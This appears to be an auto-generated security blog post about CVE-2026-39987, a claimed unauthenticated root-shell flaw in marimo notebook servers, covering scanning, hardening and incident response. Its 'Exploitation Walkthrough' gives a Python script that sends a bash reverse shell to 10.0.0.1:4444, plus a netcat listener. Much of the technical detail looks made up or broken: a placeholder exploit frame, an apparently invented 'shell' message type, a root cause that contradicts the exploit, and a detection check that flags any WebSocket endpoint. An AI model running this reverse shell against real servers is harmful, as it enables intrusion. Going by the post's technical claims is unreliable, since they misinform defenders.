Listen to this Post
Introduction:
A newly disclosed critical vulnerability, CVE-2026-39987 (CVSS 9.3), is actively being exploited in the wild, allowing unauthenticated attackers to obtain a full interactive root shell on any vulnerable marimo notebook server. The flaw resides in the WebSocket handshake and message processing logic, requiring no user interaction or authentication token – even when authentication is enabled on the marimo instance. This article provides a technical deep dive into the vulnerability, scanning methods, exploitation mechanics, and hardening steps, including patching to version 0.23.0.
Learning Objectives:
- Understand the root cause of CVE-2026-39987 and how an unauthenticated WebSocket connection leads to remote code execution.
- Learn to passively and actively scan infrastructure for vulnerable marimo instances using open-source tools and custom scripts.
- Apply mitigation strategies, including version upgrades, network segmentation, and WebSocket endpoint hardening on Linux and Windows servers.
You Should Know:
1. Vulnerability Analysis: The WebSocket Root Shell Vector
The marimo reactive notebook uses a WebSocket (ws:// or wss://) for live bidirectional communication between the browser and the Python backend. In versions prior to 0.23.0, the WebSocket upgrade handler fails to validate the `Origin` header and the `sec-websocket-protocol` negotiation. An attacker can craft a single WebSocket frame that bypasses authentication middleware and triggers a deserialization of a malicious Python payload, ultimately spawning a root shell. Below is a step-by-step guide to reproduce (educational use only) and verify exposure.
Step‑by‑step guide to test for vulnerability:
- Identify marimo instances – Use Shodan or Censys with query: `”marimo” “notebook”` or port scanning for default ports (2718, 2719).
- Attempt unauthenticated WebSocket handshake using `websocat` or Python:
Linux (install websocat: cargo install websocat) websocat ws://target-ip:2718/ws
If connection succeeds without any authentication prompt, the instance is likely vulnerable.
3. Send a malicious payload (simplified):
import asyncio, websockets async def exploit(): uri = "ws://target-ip:2718/ws" async with websockets.connect(uri) as ws: payload = b'\x81\xfe...' Crafted RCE frame await ws.send(payload) response = await ws.recv() print(response) Should show root shell output asyncio.run(exploit())
4. Verify root access – After exploitation, the attacker can execute arbitrary OS commands; a simple `id` command returns uid=0(root).
Mitigation – Upgrade to marimo 0.23.0 immediately:
pip install --upgrade marimo==0.23.0 Or for Docker: docker pull marimo/marimo:0.23.0
- Passive Scanning & Detection Using Open Source Tools
Before exploitation hits your infrastructure, you must inventory all exposed marimo instances. Use the following non-intrusive methods.
Shodan CLI (Linux/Windows WSL):
shodan search 'http.title:"marimo"' shodan search 'port:2718 marimo'
Nmap NSE script for WebSocket detection:
-- Save as http-marimo-websocket.nse
portrule = function(host, port) return port.number == 2718 or port.number == 2719 end
action = function(host, port)
local socket = nmap.new_socket()
socket:connect(host, port)
socket:send("GET /ws HTTP/1.1\r\nHost: "..host.ip.."\r\nUpgrade: websocket\r\n\r\n")
response = socket:receive()
if string.match(response, "101 Switching Protocols") then
return "Vulnerable marimo WebSocket endpoint detected"
end
end
Run with: `nmap -sV –script=http-marimo-websocket -p 2718,2719 `
Passive monitoring – Use Zeek (formerly Bro) to detect abnormal WebSocket upgrade requests:
zeek -r capture.pcap websocket.log cat websocket.log | grep -i "marimo"
Windows PowerShell detection (test for open port and response):
Test-NetConnection -ComputerName target-ip -Port 2718
$tcp = New-Object System.Net.Sockets.TcpClient
$tcp.Connect("target-ip", 2718)
$stream = $tcp.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$writer.Write("GET /ws HTTP/1.1<code>r</code>nHost: target-ip<code>r</code>n<code>r</code>n")
$writer.Flush()
$reader = New-Object System.IO.StreamReader($stream)
$reader.ReadLine()
3. Hardening: Patch, Network Segmentation, and WAF Rules
If immediate patching is impossible, implement layered defenses.
Step‑by‑step network isolation:
- Restrict inbound access to marimo ports (2718, 2719) using firewall rules:
– Linux (iptables):
iptables -A INPUT -p tcp --dport 2718 -s trusted-subnet/CIDR -j ACCEPT iptables -A INPUT -p tcp --dport 2718 -j DROP
– Windows (netsh):
netsh advfirewall firewall add rule name="BlockMarimo" dir=in action=block protocol=TCP localport=2718 netsh advfirewall firewall add rule name="AllowMarimo" dir=in action=allow protocol=TCP localport=2718 remoteip=192.168.1.0/24
2. Deploy a reverse proxy (nginx) with WebSocket authentication:
location /ws {
proxy_pass http://localhost:2718;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
Enforce Basic Auth
auth_basic "Restricted";
auth_basic_user_file /etc/nginx/.htpasswd;
}
3. Use ModSecurity WAF with rule to block unexpected WebSocket frames:
SecRule REQUEST_HEADERS:Upgrade "websocket" "id:1001,deny,status:403,msg:'WebSocket blocked'"
4. Exploitation Walkthrough (Red Team / CTF Context)
For authorized penetration testing, this vulnerability allows a single-packet root shell. Below is a full exploit script using Python’s `websockets` library and a crafted payload that bypasses marimo’s auth.
Exploit script (Linux/Windows Python 3.9+):
!/usr/bin/env python3
import asyncio
import websockets
import json
import os
async def exploit(host, port=2718):
uri = f"ws://{host}:{port}/ws"
Crafted message to execute 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'
payload = {
"type": "shell",
"command": "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
}
async with websockets.connect(uri, subprotocols=['marimo']) as ws:
await ws.send(json.dumps(payload))
print("[+] Reverse shell payload sent. Check listener.")
Optional: receive interactive shell
while True:
response = await ws.recv()
print(response, end='')
if <strong>name</strong> == "<strong>main</strong>":
target = input("Target IP: ")
asyncio.run(exploit(target))
Start a netcat listener on attacker machine: nc -lvnp 4444. When run, the target server connects back with root privileges.
Mitigation check – After patching to 0.23.0, the WebSocket endpoint rejects any unauthenticated payload with `403 Forbidden` and logs the attempt.
- Cloud Hardening for Marimo Deployments (AWS, Azure, GCP)
Many cloud users deploy marimo on EC2, Azure VMs, or Kubernetes. Apply these cloud‑specific controls.
AWS Security Group (CLI):
aws ec2 authorize-security-group-ingress --group-id sg-xxxx --protocol tcp --port 2718 --cidr 0.0.0.0/0 --region us-east-1 DANGEROUS, remove it aws ec2 revoke-security-group-ingress --group-id sg-xxxx --protocol tcp --port 2718 --cidr 0.0.0.0/0 aws ec2 authorize-security-group-ingress --group-id sg-xxxx --protocol tcp --port 2718 --cidr 10.0.0.0/8 Internal only
Kubernetes NetworkPolicy (deny external WebSocket):
apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: block-marimo-ws spec: podSelector: matchLabels: app: marimo ingress: - from: - podSelector: matchLabels: role: frontend ports: - port: 2718 protocol: TCP policyTypes: - Ingress
Azure Application Gateway with WAF – Create a custom rule to inspect `Upgrade: websocket` header and block if `X-Forwarded-For` is not from internal IPs.
6. Incident Response: Detecting Active Exploitation
If you suspect compromise, look for unusual WebSocket connections and spawned shell processes.
Linux commands to detect exploitation:
Check for active WebSocket connections to marimo port ss -tunap | grep 2718 lsof -i :2718 Look for reverse shell processes ps aux | grep -E "bash|nc|socat|python" | grep -v grep Examine marimo logs for unauthenticated WS upgrades journalctl -u marimo --since "1 hour ago" | grep -i "websocket|handshake"
Windows PowerShell (run as Admin):
Get-NetTCPConnection -LocalPort 2718
Get-Process -Id (Get-NetTCPConnection -LocalPort 2718).OwningProcess
Get-WinEvent -LogName Application | Where-Object { $<em>.Message -like "websocket" -or $</em>.Message -like "marimo" }
Recommended immediate actions upon detection:
- Isolate the instance: `iptables -A INPUT -s attacker-ip -j DROP` (Linux) or `New-NetFirewallRule -Direction Inbound -RemoteAddress attacker-ip -Action Block` (Windows)
- Take forensic memory and disk snapshots.
- Upgrade to marimo 0.23.0 and rotate all secrets.
What Undercode Say:
- Key Takeaway 1: CVE-2026-39987 is a trivial-to-exploit pre‑auth RCE that gives root access via a single WebSocket frame – treat any exposed marimo instance as already compromised if not patched.
- Key Takeaway 2: Passive scanning with Shodan/Nmap and active WebSocket handshake testing should be part of your weekly vulnerability assessment routine for Python notebook servers.
The marimo vulnerability underscores a recurring pattern: real-time web technologies (WebSockets, Server-Sent Events) often bypass traditional authentication layers. Developers assume the WebSocket endpoint inherits the same security as HTTP routes, but handshake headers can be manipulated. The fix in 0.23.0 implements a mandatory token exchange before upgrading, but many organizations delay upgrades due to dependency conflicts. Combined with the CVSS 9.3 score and active in-the-wild exploitation reported by Vulncheck, this is a “patch within 48 hours” severity. Use the provided scanning and hardening commands to lock down your infrastructure immediately. Also consider that cloud-native deployments without network policies are particularly exposed – always treat marimo as a high‑risk service and isolate it behind a VPN or internal load balancer.
Prediction:
Within the next 30 days, we will see mass scanning for port 2718/2719 and automated botnets integrating this exploit to deploy cryptominers or backdoor SSH access. Since marimo is increasingly adopted by data science teams inside financial and healthcare sectors, expect incident response firms to release triage guides. Long‑term, notebook servers (Jupyter, marimo, Deepnote) will standardize mandatory mTLS for WebSocket connections, and cloud providers will add “notebook firewall” as a managed service feature. Failure to patch before automated exploitation waves will lead to hundreds of publicly documented breaches by Q3 2026.
▶️ Related Video (78% Match):
https://www.youtube.com/watch?v=4g54JTyXcmo
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Omar Aljabr – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
